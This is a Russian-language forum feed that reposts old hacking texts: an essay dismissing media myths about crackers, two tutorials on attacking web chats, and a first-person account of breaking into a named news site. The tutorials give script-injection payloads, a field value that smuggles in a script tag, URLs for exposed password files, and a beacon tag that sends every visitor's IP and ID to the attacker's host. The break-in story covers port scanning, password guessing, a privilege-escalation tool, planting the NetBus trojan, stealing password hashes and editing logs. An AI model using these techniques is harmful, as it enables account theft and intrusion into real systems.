						&lt;p&gt;В качестве примера напомним случай на Игналинской АЭС, когда местный системный программист внедрил в ВС программную закладку (&amp;quot;троянского коня&amp;quot;), которая чуть не привела к аварии станции. Однако, как утверждает статистика, нарушения безопасности системы собственным персоналом составляют около 90% от общего числа нарушений. Итак, критические вычислительные системы нельзя назвать неуязвимыми, но реализовать на них успешную удаленную атаку практически невозможно. &lt;/p&gt;
						&lt;p&gt;Прочитав этот пункт, недоверчивый читатель может заметить, что он лично встречал заметки о том, как &amp;quot;кракеры проникли в компьютер Пентагона или НАСА&amp;quot; . Все дело в том, что любая уважающая себя организация, будь то ЦРУ, АНБ или НАСА, имеет свои WWW- или ftp-сервера, находящиеся в открытой сети и доступные всем. И кракеры в этом случае проникали именно в них (а ни в коем случае не в секретные или закрытые сети), используя, может быть, один из механизмов, описанных в этой книге. &lt;/p&gt;
						&lt;p&gt;Защита банковских систем&lt;br /&gt;Другим и, пожалуй, наиболее устойчивым мифом является миф о всеобщей беззащитности банковских вычислительных систем. Да, действительно, в отличие от ВС стратегического назначения, банки из-за конкурентной борьбы между собой вынуждены для обеспечения удобства и быстродействия работы с клиентами предоставлять им возможность удаленного доступа из сетей общего пользования к своим банковским вычислительным системам. Однако, во-первых, для связи в этом случае используются защищенные криптопротоколы и разнообразные системы сетевой защиты (например, Firewall), и, во-вторых, предоставление клиенту возможности удаленного доступа отнюдь не означает, что клиент может получить доступ непосредственно к внутренней банковской сети. По мнению специалистов, зарубежные банковские ВС (про отечественные мы не говорим, пока еще не достигнут соответствующий уровень автоматизации расчетов) являются наиболее защищенными после ВС стратегического назначения. &lt;br /&gt;Однако в последние годы некоторым журналистам, в том числе и отечественным, в погоне за сенсацией удалось (и не без успеха, особенно на основе реально имевшего место дела Левина) придумать миф о всеобщей беззащитности банковских систем. Яркий пример подобных творений - статья г-на А. Какоткина &amp;quot;Компьютерные взломщики&amp;quot; , опубликованная в еженедельнике &amp;quot;Аргументы и Факты&amp;quot; в феврале 1997 года. Вывод из этой статьи, перефразируя слова ее автора, можно сделать следующий: &amp;quot;Каждому хакеру - по бронежилету и запасному процессору&amp;quot;. Не нужно быть крупным специалистом по компьютерной безопасности, чтобы, прочитав эту статью, понять, что она неправдоподобна от начала и до конца (особенно смешно читать &amp;quot;подробности&amp;quot; взлома банковской сети). Возможно, впрочем, что недостаточно просвещенного в этой области журналиста некие люди ввели в заблуждение (или, что неудивительно, он просто чего-то не понял). &lt;/p&gt;
						&lt;p&gt;Более интересным, на наш взгляд, вопросом является то, насколько надежно на самом деле защищены банковские сети, особенно в том случае, если к ним предусмотрен удаленный доступ из сети Internet. К сожалению, мы не можем дать точного ответа, пока специализированные системы безопасности банковских ВС (естественно, под такими системами не имеются в виду операционные системы типа Novell NetWare, Windows NT или 95, UNIX, которые хоть и часто применяются в банковской среде, но специализированными уж никак не являются) не будут сертифицированы. Единственное, что можно гарантировать, - то, что с вероятностью около 99,9% подобные системы будут подвергаться угрозе отказа в обслуживании, которая рассмотрена далее. &lt;/p&gt;
						&lt;p&gt;Сетевые кракеры&lt;br /&gt;Недоверие к описанным в средствах массовой информации способам того, как кракеры осуществляют взлом, и того, к каким результатам это приводит, побудило нас подробнее рассмотреть вопрос: а реальны ли вообще такие взломы? &lt;br /&gt;Так вот, ни одного подтвержденного факта осуществления целенаправленного взлома с помощью программных средств (а не с помощью подкупа и т. п.) нам не удалось найти ни в России, ни за рубежом. &lt;/p&gt;
						&lt;p&gt;Да, почти каждый день вскрываются WWW-сервера каких-то компаний. Но здесь жертва выбирается не целенаправленно, а большей частью случайно: &amp;quot;повезет - не повезет&amp;quot;. Более того, подмена некоторых WWW-страниц часто вовсе не означает, как будет показано в следующих главах, полного контроля над атакованным хостом, злоумышленник может вообще не иметь к нему никакого доступа, а просто подменять эти страницы с помощью перемаршрутизации. Собственно, взлом WWW-серверов и составляет 90% всех проявлений якобы всемогущих кракеров, обсуждаемых в сетевой и несетевой прессе. &lt;/p&gt;
						&lt;p&gt;Легендарный Кевин Митник был большей частью именно легендарным. Его самая известная (и возможно, единственная реальная) атака обсуждается в четвертой главе книги &amp;quot;Атака на Internet&amp;quot;. Даже если принять эту атаку так, как она преподносится, очевиден тот факт, что она была придумана не им и осуществлена в то время, когда в Internet гораздо меньше беспокоились о безопасности. &lt;/p&gt;
						&lt;p&gt;Можно вспомнить еще дело Левина. Очень туманное дело. Если Левин (или кто-то еще) действительно вскрыл CitiBank, пользуясь только своей головой и руками, то мы готовы взять свои слова обратно. Но на сегодняшний день наиболее убедительной является версия, что у него все же были сообщники в этом банке, которые предоставили ему входное имя и пароль. Косвенным подтверждением этого служит факт, что &amp;quot;гениальный взломщик банков&amp;quot; почему-то был гениален только в самом процессе взлома и вел себя, скажем, не очень умно при сокрытии своих следов и противоборстве с правоохранительными органами. &lt;/p&gt;
						&lt;p&gt;Все это позволяет нам предположить, что проблема сетевых кракеров в том виде, как она обычно преподносится СМИ, на самом деле отсутствует. Да, много сил должно уделяться защите компьютерных систем от &amp;quot;псевдохакеров&amp;quot;, которые считают себя профессионалами, умея запускать различные &amp;quot;нюки&amp;quot; (nuke) или подбирать пароли типа &amp;quot;guest&amp;quot;. Они способны нанести этим определенный урон. Существуют, безусловно, и более квалифицированные группы кракеров, занимающиеся, например, взломом WWW-серверов для &amp;quot;увековечивания&amp;quot; собственного имени. Но у нас вызывает большое сомнение существование профессионалов, а тем более налаженной индустрии, которая допускает взлом любого более-менее защищенного хоста &amp;quot;на заказ&amp;quot;. По собственному опыту мы можем предположить, что цена такого взлома должна быть в несколько раз больше, чем ценность находящейся там информации, поэтому в ход идут старые проверенные методы типа вербовки или подкупа. &lt;/p&gt;
						&lt;p&gt;Резюмируя, мы считаем, что никаких сетевых кракеров, специализирующихся на вскрытии хостов за деньги или с целью использования полученной информации для собственного обогащения, не существует. Их квалификация должна быть настолько высока, что во всем мире таких людей можно без труда пересчитать, и они наверняка являются хакерами, а не кракерами.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 22:01:19 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=34#p34</guid>
		</item>
		<item>
			<title>Еще раз о взломах HTML-чатов</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=33#p33</link>
			<description>&lt;p&gt;1. ЧАСТЬ ПЕРВАЯ, или показываем свое.&lt;br /&gt;Основу интерфейса практически любого чата соствляют динамически генерируемые HTML-формы, связанные между собой посредством javascript. В практически всех чатах имя пользователя и пароль (или некий идентификатор, который генерируется при входе пользователя) хранятся внутри формы в качестве скрытого (hidden) элемента и могут извлекаются оттуда посредством скрипта. Заставив кого-либо из посетителей чата выполнить свой javascript, Вы можете, по сути, получить полный контроль над ним - сказать фразу от его имени или выдать его пароль. &lt;/p&gt;
						&lt;p&gt;Для человека, знающего хотя бы основы HTML и Javascript, не составит труда разобраться в структуре интерфейса чата, но вот подсунуть в эту структуру &amp;quot;троянский&amp;quot; скрипт - это проблема. &lt;/p&gt;
						&lt;p&gt;В простейшем случае, когда набираемый вами текст показывается в окне чата &amp;quot;как есть&amp;quot; - без какого-либо контроля - вы просто вводите текст вашего скрипта. Если возникает проблема с ограничением на длину строки - разбейте скрипт на несколько коротких функций. &lt;/p&gt;
						&lt;p&gt;Но в большинстве чатов все же имеется проверка, которая не дает ввод большинства &amp;quot;опасных&amp;quot; тегов, в т.ч. и &amp;lt;script&amp;gt;, либо запрещены теги вообще. Но тем не менее во многих случаях удается ее обойти. Ведь помимо тэга &amp;lt;SCRIPT&amp;gt; есть еще и казалось бы безобидные теги &amp;lt;A&amp;gt;, &amp;lt;IMG&amp;gt; &amp;lt;FORM&amp;gt; и другие, которые позволяют задать URL как javascript: или задать отклики объекта на события: OnClick, OnMouseOver и т.д. &lt;/p&gt;
						&lt;p&gt;Кроме того, теги могут проверяться в основном окне чата, но не контролироваться при вводе информации о пользователе. И можно вставить скрипт, например, в информацию о себе. Тогда тот участник чата, который имел неосторожность посмотреть вашу информацию получит вместо нее ваш скрипт. Например, следующий скрипт помещенный в личную информацию успешно работал на чате Copris (сейчас чат, похоже, накрылся, так что я смело его помещаю): &lt;/p&gt;
						&lt;p&gt; &amp;lt;script&amp;gt;&lt;br /&gt; for( I=1 ; I&amp;lt;=11 ; I++ ){&lt;br /&gt;&amp;#160; if( I==1 ) alert( &amp;quot;Че те надо?????&amp;quot; );&lt;br /&gt;&amp;#160; else alert( &amp;quot;Я тя &amp;quot; + ( (I==11)? &amp;quot;последни&amp;quot; : I ) + &amp;quot;й раз спрашиваю - че те надо???&amp;quot; );&lt;br /&gt; }&lt;br /&gt; alert(&amp;quot;а здесь все равно нету нифика...&amp;quot;);&lt;br /&gt; top.frames[&#039;Inform&#039;].document.forms[0].Accent.options[31].selected = 1;&lt;br /&gt; top.frames[&#039;Inform&#039;].document.forms[0].Announce.value&amp;#160; &amp;#160;=&amp;#160; &amp;quot;Я&amp;#160; люблю тебя, 3APA3A!&amp;quot;;&lt;br /&gt; top.frames[&#039;Inform&#039;].document.forms[0].submit();&lt;br /&gt; top.frames[&#039;Dark&#039;].document.forms[2].submit();&lt;br /&gt; &amp;lt;/script&amp;gt;&lt;/p&gt;
						&lt;p&gt;Этот безобидный скрипт дает alertы посетителю, после чего помещает признание любви к 3APA3е от имени посетителя в общее окно чата. Это стимулирует остальных посетителей на просмотр личной информации о 3APA3е. Тем не менее, скрипт можно было сделать и менее дружественным - например, посылать в приват пароль посетителя, который хранится в виде в виде скрытого элемента формы в каждом фрейме. Более того, можно было бы даже написать что-то типа вируса, который, например, меняет имя пользователя на &amp;quot;3APA3A&amp;quot; и ставит ему соответствующий пароль. Таким образом можно &amp;quot;заразить&amp;quot; всех участников чата. Изменение скрипта таким образом, чтобы высылать в приват пароль посетителя и превращать его в 3APA3у (при этом все его сообщения будут исходить от 3APA3ы, но видеть сообщения для нее он не будет), требовало ровно пять дополнительных строчек на javascript (три на первое действие и два на второе). &lt;/p&gt;
						&lt;p&gt;Похожая дыра присутствует в очень многих чатах, где посетителю позволяют выбрать цвет или размер текста. Как правило, вводимые им значения цвета не проверяются. Напрямую, или путем модификации странички, сохранив ее на диске (в том случае, если цвет предлагают не ввести и выбрать из набора), можно, например, в качестве цвета вместо любимого значения &#039;black&#039; задать &#039;&amp;gt;&amp;lt;script&#039; (если таг печатается в чате как &amp;lt;FONT COLOR=black&amp;gt; Если печатаются кавычки (COLOR=&amp;quot;black&amp;quot;), то задача несильно усложняется - надо всего лишь их нейтрализовать, например &#039;&amp;quot;&amp;gt;&amp;lt;script p=&amp;quot;&#039;. &lt;/p&gt;
						&lt;p&gt;Как правило, тип шрифта указывается непосредственно перед фразой введенной посетителем. Так что в своей фразе вы теперь смело можете писать любой скрипт! Так мы имеем возможность закинуть Javascript в общее окно чата, что открывает обширные возможности... Но, нужно отметить, что засунуть закрывающий таг тоже может быть достаточно сложно, а без этого скрипт работать не будет. Впрочем, иногда скрипт просто удается засунуть в COLOR целиком. &lt;/p&gt;
						&lt;p&gt;2. ЧАСТЬ ВТОРАЯ, или смотрим чужое.&lt;br /&gt;И, наконец, существует несколько способов простого хищения паролей из чатов. Если чат расположен на сервере apache, и проверяет имена пользователей по файлу htpasswd (при этом ваш браузер выкидывает окошко с предложением ввести имя и пароль для доступа к ресурсу), то всегда есть вероятность, что нерадивые администраторы положили его в доступный каталог. Можно для этого воспользоваться URL типа &lt;a href=&quot;http://www.somechat.com/chat/.htpasswd.&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.somechat.com/chat/.htpasswd.&lt;/a&gt; Точное расположение файла можно узнать стянув файл .htaccess из данной директории. Это, обычно не удается. Но часто удается стянуть его копию, которая осталась с последнего редактирования файла, например &lt;a href=&quot;http://www.somechat.com/chat/.htaccess~&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.somechat.com/chat/.htaccess~&lt;/a&gt; или &lt;a href=&quot;http://www.somechat.com/chat/.htaccess.old&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.somechat.com/chat/.htaccess.old&lt;/a&gt; (в том случае, если копии этих файлов любезно оставлены администратором). &lt;/p&gt;
						&lt;p&gt;Если чат расположен на Микрософтовском сервере и использует ODBC для доступа к базе данных паролей, то можно попытаться стянуть файл с базой, например если она имеет формат Microsoft Access и хранится в том же каталоге, то достаточно просто угадать ее имя, чтобы получить полную информацию обо всех пользователях вместе с паролями :) Классический пример - чат &amp;quot;Пластилин&amp;quot; (я уже послал уведомление администраторам чата): &lt;a href=&quot;http://www.plastilin.nnov.ru/talkzone/talkzone.mdb&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.plastilin.nnov.ru/talkzone/talkzone.mdb&lt;/a&gt; &lt;/p&gt;
						&lt;p&gt;Следует сразу заметить, что почти все сказанное выше справедливо не только для HTML-чатов, но и для других WEB-сервисов, таких как доски объявлений (WWW-boards) или гостевые книжки (Guestbooks).&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 22:00:35 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=33#p33</guid>
		</item>
		<item>
			<title>О &quot;взломах&quot; html-чатов</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=32#p32</link>
			<description>&lt;p&gt;Я предполагаю, что читатель знает, что такое CGI, и на этом построю своё объяснение. &lt;/p&gt;
						&lt;p&gt;Начал я с малого. &lt;/p&gt;
						&lt;p&gt;В любом чате фрейм, в котором ты пишешь сообщения, генерится динамически (для каждого входящего) и, возможно, содержит несколько скрытых полей. Типа &amp;lt;input type=hidden name=cookie value=SP202134&amp;gt; (так в партизанах хранится UserID) &lt;/p&gt;
						&lt;p&gt;Идея в следующем: сохраняем содержимое этого фрейма на диске и исправляем его так, что бы можно было с ним работать со своего винта. Т.е. заменяем ссылки типа /cgi-bin/refresh.pl на полный путь wwwchat.nsk.su/cgi-bin/refresh.pl и вместо скрытых полей формы пишем типа &amp;lt;input type=text name=cookie value=SP202134&amp;gt; (что бы можно было их изменять) После этого делаем HTML документ для &amp;quot;сборки чата&amp;quot; из кусков. Т.е. примерно так &lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;&amp;quot;First.htm&amp;quot;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;frameset rows=&amp;quot;80%,20%&amp;quot;&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160;&amp;lt;frameset cols=&amp;quot;70%,30%&amp;quot;&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;lt;frame name=&amp;quot;razg&amp;quot; src=&amp;quot;http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+nocookie#end&amp;quot;&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160; &amp;lt;frame name=&amp;quot;rigt&amp;quot; src=&amp;quot;http://www.chat.nsk.su/right.html&amp;quot;&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160;&amp;lt;/frameset&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160;&lt;br /&gt;&amp;#160; &amp;#160;&amp;lt;frame name=&amp;quot;bot&amp;quot; src=&amp;quot;start.htm&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;/frameset&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;
						&lt;p&gt;Start.htm - это и есть тот фрейм который я сохранил и изменил &lt;/p&gt;
						&lt;p&gt;После этого я просто броузером открывал эту страницу (First.htm). И сразу(!!!) попадал в чат, минуя стандартную процедуру входа. Это позволило : &lt;br /&gt;1. Обходить зарегистрированные имена &lt;br /&gt;2. Прятать свой IP от киллеров, за счет взятия чужого ID&#039;a &lt;/p&gt;
						&lt;p&gt;Дальше мне стало интересно вычислить IP участников. Я обнаружил, что не запрещён тэг &amp;lt;bgsound src=&amp;quot;&amp;quot;&amp;gt;. Это позволило вставлять в своё сообщение ресурс со своей машины. Сам по себе звук на хер не нужен, но этот косяк позволил вставить в свой месс строку типа &amp;lt;bgsound src=&amp;quot;http://MyIP/cgi-bin/spy.exe&amp;quot;&amp;gt;. Этот скрипт (spy.exe) вызывался с машины КАЖДОГО участника чата. Это позволило увидеть IP всех (скрипт просто сохранял мне на винт данные из переменной окружения REMOTE_ADDR). Это мне не очень понравилось, тк не понятно было где чей IP. Примерно в это-же время в чате появились приваты. Это значит, что документ в главном фрейме (тот где мессы все) стал называться по другому. &lt;/p&gt;
						&lt;p&gt;До приватов : &lt;br /&gt;&lt;a href=&quot;http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor#end&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.chat.nsk.su/cgi-bin/refresh. &amp;#8230; zgovor#end&lt;/a&gt; &lt;/p&gt;
						&lt;p&gt;После появления приватов : &lt;br /&gt;&lt;a href=&quot;http://www.chat.nsk.su/cgi-bin/refresh.cgi?win+razgovor+SP345678#end&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.chat.nsk.su/cgi-bin/refresh. &amp;#8230; 345678#end&lt;/a&gt; &lt;/p&gt;
						&lt;p&gt;Где SP456789 - UserID &lt;/p&gt;
						&lt;p&gt;После этого в скрипт (spy.exe) был добавлен вывод ID&#039;a из переменной окружения HTTP_REFERER Ну а сопоставить ник с ID&#039;ом не проблемма, тк ID каждого прописан там же примерно в такой строке &lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160;&amp;lt;br&amp;gt;&amp;lt;b&amp;gt;&amp;lt;font color=yellow size=-1&amp;gt;Тут ник&amp;lt;/font&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160;&amp;lt;font color=black&amp;gt;&amp;lt;a href=&amp;quot;/cgi-bin/private_form.cgi?SP448188&amp;quot;&amp;gt;&lt;br /&gt;&amp;#160; &amp;#160;&amp;lt;img src=/img/mes.gif border=0 vspace=0&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/font&amp;gt;&lt;/p&gt;
						&lt;p&gt;(Это строка взята из правого фрейма, где можно вызвать функцию &amp;quot;Кто в чате&amp;quot;) &lt;/p&gt;
						&lt;p&gt;После этого перестало быть проблемой сопоставление ника и IP. Затем я решил позабавиться с приватами. &lt;/p&gt;
						&lt;p&gt;Используя метод сохранения странички на винт (описанный выше), я получил форму для отправления приватов от КОГО-ТО КОМУ-ТО. Т.е. я смог в отсылаемом приватно сообщении проставлять имя отправителя. &lt;/p&gt;
						&lt;p&gt;Осталось только одно. Я знал, что в чате есть киллеры, но ничего не знал про то, что это, где это, как это. Знал только, что для того, чтобы киллерствовать надо зайти на какую-то страничку. Очевидно, что в этой киллерской страничке показываются имена. Я предположил, что моё имя показываются таким, каким я его ввожу. Исходя из этого, я под именем &amp;lt;bgsound src=&amp;quot;http://MyIP/cgi-bin/spy.exe&amp;quot;&amp;gt; MyNick зашел в чат (через прокси), и начал легонько ругаться (мне надо было, чтобы киллеры зашли на свою страничку). После этого (когда меня убили) я разгреб лог моего ВебСервера (OmniHTTPd beta) и увидел там обращение со страници не относящейся к известным мне страницам чата. Я полез на эту страницу и получил запрос на ввод пароля, со словами &amp;quot;Дорогой администратор...&amp;quot;. Это приятно согрело душу. Дальше я начал думать, то ли подобрать пароль, то ли ещё что придумать. Но ситуация так сложилась, что я оказался в одной сети с киллером, и, запустив сниффер, я поимел пароль. &lt;/p&gt;
						&lt;p&gt;Ну вот и все. &lt;/p&gt;
						&lt;p&gt;With best regards, Maveric. &lt;/p&gt;
						&lt;p&gt;P.S. Ни один из этих приколов уже не работает в партизанах, т.к. это был &amp;quot;дружественный взлом&amp;quot; и обо всем, что я нашел, я рассказал создателю чата. Он все косяки исправил.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Wed, 05 Dec 2007 21:59:57 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=32#p32</guid>
		</item>
		<item>
			<title>История о Забывчивости и Извращениях, или как маленький локальный Баг</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=31#p31</link>
			<description>&lt;p&gt;Тема такова : Как мы взломали новостной сайт штата Айдахо. &lt;/p&gt;
						&lt;p&gt;Предыстория такова: &lt;/p&gt;
						&lt;p&gt;Однажды, когда пора была студеной, решил я что-нибудь сломать,&amp;#160; и стал лазить в поисках какого нибудь более менее приличного сервака на базе НТ (т.к я занимаюсь только НТ), но чтобы он в то же время не был сильно защищенным. &lt;/p&gt;
						&lt;p&gt;А история. ........ : &lt;/p&gt;
						&lt;p&gt;Ночь первая: &lt;/p&gt;
						&lt;p&gt;И в этих своих поисках наткнулся на очень добротно сделанный и относительно публичный сайт,&amp;#160; на котором выставлялись новости штата Айдахо (этот сайт вы можете посмотреть и сейчас&amp;#160; &amp;#160;- &lt;a href=&quot;http://www.idahonews.com&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.idahonews.com&lt;/a&gt;). &lt;/p&gt;
						&lt;p&gt;И взбрело мне (по закрепившейся привычке) поглядеть степень защищенности и (самое главное) степень тупости админа. Для этого я стал юзать (что думаете???) свой любимый Нетскап 3.01.&amp;#160; Стал лазить по директориям и обнаружил Очень странную для сегодняшнего дня вещь,&amp;#160; а именно директории /scripts и /cgi-bin оказались открытыми&amp;#160; (как известно наверное многим, в НТ можно запускать любые файлы из этих директорий, т.е получается, что ты из бровсера своего можешь запустить прогу на удаленной машине, лишь поместив ее в одну из этих директорий).&amp;#160; Подумав о тупости админа, я пришел к выводу,&amp;#160; что на данный момент моего исследования системы&amp;#160; эта его характеристика поднимается до уровня &amp;quot;средний&amp;quot;. :) &lt;/p&gt;
						&lt;p&gt;Сделав такой вывод, я решил продолжить свои изыскания. Для начала я решил просканить сервак на предмет открытых портов, а следовательно и сервисов, на нем установленных. Для этого я использовал очень полезную тулзену,&amp;#160; которая зовется Ogre (спасибо Rhino9 ).&amp;#160; Эта штука выдала мне следующую картину : &lt;/p&gt;
						&lt;p&gt;Scanning - 198.60.102.4&lt;br /&gt;======================&lt;br /&gt;Commencing Port Scan:&lt;br /&gt;Port 21: Open --- это ФТП открыт &lt;br /&gt;Port 23: Closed&lt;br /&gt;Port 25: Open &lt;br /&gt;Port 53: Open&lt;br /&gt;Port 79: Closed&lt;br /&gt;Port 80: Open&lt;br /&gt;Port 110: Open&lt;br /&gt;Port 111: Closed&lt;br /&gt;Port 139: Open ---Возможно есть File Sharing&lt;br /&gt;Port 443: Closed&lt;br /&gt;Port 1080: Closed&lt;br /&gt;Port 8181: Closed&lt;br /&gt;Surveying Web Server:&lt;br /&gt;--Checking for Vulnerable URLs:&lt;br /&gt;Frontpage Extensions: Not Present&lt;br /&gt;IIS HTML Administration Interface: Present ---- Управление серваком через IIS&lt;br /&gt;IIS Samples: Present&lt;br /&gt;Commencing Nbtstat Scan:&lt;br /&gt;NetBIOS Remote Machine Name Table&lt;br /&gt;Name Type Status&lt;br /&gt;---------------------------------------------&lt;br /&gt;Registered Registered Registered Registered Registered Registered&lt;br /&gt;Registered Registered Registered Registered Registered &lt;br /&gt;MAC Address = 00-60-08-B0-7B-9E&lt;br /&gt;PRNET &amp;lt;00&amp;gt; UNIQUE ----- ИМЯ МАШИНЫ &lt;br /&gt;PRNET &amp;lt;20&amp;gt; UNIQUE &lt;br /&gt;IDAHONEWS &amp;lt;00&amp;gt; GROUP &lt;br /&gt;IDAHONEWS &amp;lt;1C&amp;gt; GROUP &lt;br /&gt;IDAHONEWS &amp;lt;1B&amp;gt; UNIQUE &lt;br /&gt;IDAHONEWS &amp;lt;1E&amp;gt; GROUP &lt;br /&gt;PRNET &amp;lt;03&amp;gt; UNIQUE &lt;br /&gt;IDAHONEWS &amp;lt;1D&amp;gt; UNIQUE &lt;br /&gt;INet~Services &amp;lt;1C&amp;gt; GROUP &lt;br /&gt;..__MSBROWSE__.&amp;lt;01&amp;gt; GROUP &lt;br /&gt;IS~PRNET.......&amp;lt;00&amp;gt; UNIQUE &lt;br /&gt;Из этой информации я понял, что сервак доступен из под прошаренных ресурсов и фтп (первое обычно полезнее, но медленнее). &lt;/p&gt;
						&lt;p&gt;Затем я попробовал зайти на сервак под аккаунтами, которые станадртно присутствуют в НТ (Guest,&amp;#160; Administrator),&amp;#160; у меня ничего не вышло, тогда я решил попытать такие штуки как аккаунты IIS (Internet Information Service), обычно они выглядят так IUSR_&amp;lt;имя машины с шарами&amp;gt;. Ogre мне показал, что имя машины PRNET,&amp;#160; значит юзернейм будет IUSR_PRNET.&amp;#160; С этим вариантом тоже ничего не получилось.&amp;#160; Что ж, придется прибегать к насилию ! &lt;/p&gt;
						&lt;p&gt;Для осуществления насильственных действий я выбрал програмку NAT (Net Auditing Tool), которая пробует подключиться к шарам с юзернеймами и паролями из словаря и потом проверяет возможности этого пароля на сервере! &lt;/p&gt;
						&lt;p&gt;Обычно в словаре стандартные пароли и имена, я его немножко поправил, добавив пароли и имена IUSR_PRNET, PRNET, IDAHO,&amp;#160; NEWS, IDAHONEWS и т.д. (уже не помню какие еще).&amp;#160; И оставил свой комп проверять эти варианты,&amp;#160; а сам пошел на кухню перекусить. &lt;/p&gt;
						&lt;p&gt;Когда я вернулся, то обнаружил,&amp;#160; что NAT подобрал пароль и проверил дырки в шарах. &lt;/p&gt;
						&lt;p&gt;Имя и пароль, которые он нашел (TEST TEST -кста ОООчень глупо), имел доступ почти ко всем прошаренным каталогам ! Но самое главное - он имел доступ к каталогу InetPub/scripts. &lt;/p&gt;
						&lt;p&gt;Еще оказалось, что под ним можно войти и в WINNT (совсем тупо ), там я попытался спереть SAM._ из каталога /REPAIR,&amp;#160; но безуспешно (хоть к нему доступ закрыт был), тогда я понял, что так легко сервак не дастся.&amp;#160; (Конечно, можно считать что он дался,&amp;#160; т.к. уже тогда я мог подменить страничку и т.д.,&amp;#160; но я имею в виду под &amp;quot;дался&amp;quot; Administrator доступ). Я подправил логи и отрубился. &lt;/p&gt;
						&lt;p&gt;Ночь вторая: &lt;/p&gt;
						&lt;p&gt;Я связался с парнем,&amp;#160; с которым мы этим делом занимаемся обычно (он просил его ник не называть), и веселье началось! Для начала мы решили попробовать такую штуку как Getadmin.exe, чтобы получить права админа, а там уж и пароли дернуть. &lt;/p&gt;
						&lt;p&gt;Запихнули ее в /scripts и бровзером запустили для юзернейма TEST.&amp;#160; Выглядело это так (для незнающих естественно): &lt;a href=&quot;http://www.idahonews/scripts/getadmin.exe?test.&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.idahonews/scripts/getadmin.exe?test.&lt;/a&gt; &lt;/p&gt;
						&lt;p&gt;Нам вернулось сообщение типа &amp;quot;Cgi error (так и должно быть) User test get Administrator&#039;s rights&amp;quot;, или что то в этом роде. Мы обрадовались и решили, что дело сделано, но не тут-то было: сервер сразу повис,&amp;#160; &amp;#160;перезагрузился и восстановил параметры юзеров (хитрец).&amp;#160; Мы проделали это еще раз,&amp;#160; &amp;#160;но не добились результата.&amp;#160; (Естественно, поднимание сервера происходило продолжительное время,&amp;#160; но админ крутился где то там и поднимал его (при этом ничего не понимая)) :) Этот вариант отпал. Ситуация усложнялась.&amp;#160; Целый следующий день мы шарились в поисках експлоитов, которые можно было бы поюзать на этом серваке, и наконец я вспомнил, что где то видел что-то такое веселое для НТ (А именно БО для НТ ).Угадайте где я это нашел ? На нашей доброй старом Хакзоне,&amp;#160; листая архивы обзора.&amp;#160; Эта штука называлась NETBUS 1.60 (линк не работал,&amp;#160; по Алтависте я быстро нашел где слить его).&amp;#160; Потом я вырубился и пошел спать. (с улыбкой умиления на лице :) ) &lt;/p&gt;
						&lt;p&gt;Ночь уже не помню какая : &lt;/p&gt;
						&lt;p&gt;Мы залили сервер для NETBUS&#039;а в /scripts, и тем же способом (описан выше) запустили его на удаленном компе.&amp;#160; Подсоединившись клиентом NETBUS&#039;а, я сразу пошел в File Manager (в нем такая опция есть). И стал собирать информацию о структуре каталогов и т.д. (при плохом коннекте он это делает ой как долго).Так мы получили хоть и не полноценный, но хоть какой то доступ ко всем дискам и каталогам (конкретно на копирование,&amp;#160; запись и тд) Первым делом пошли в WINNT/REPAIR и сперли SAM._ &lt;/p&gt;
						&lt;p&gt;Наше разочарование было очень велико, т.к. этот сам оказался старый- старый (Repair дисков не делал админ, гад). И там было всего два пользователя Guest и Administrator без паролей, т.е ОООчень старый. Решили пока просто полазить по диску - поглядеть, что тут есть, и где лежит главная страничка.&amp;#160; Это оказалось трудно, т.к. вопреки предположениям она находилась не в /wwwroot, но после долгих и нудный поисков (пересмотра пары десятков страниц INDEX.htm ) мы нашли ту, что надо, и в наглую проверили, закачав текстовик с таким именем (хехе), потом, естественно, вернув все обратно.&amp;#160; Мой друган стал заниматься страницей (в смысле лепить нашу, которую мы потом поставили), а я пока испробовал вполне приличные возможности NETBUS и думал как же нам сорвать пароль админа.&amp;#160; Но ничего не приходило мне в голову. &lt;/p&gt;
						&lt;p&gt;Следующая ночь: &lt;/p&gt;
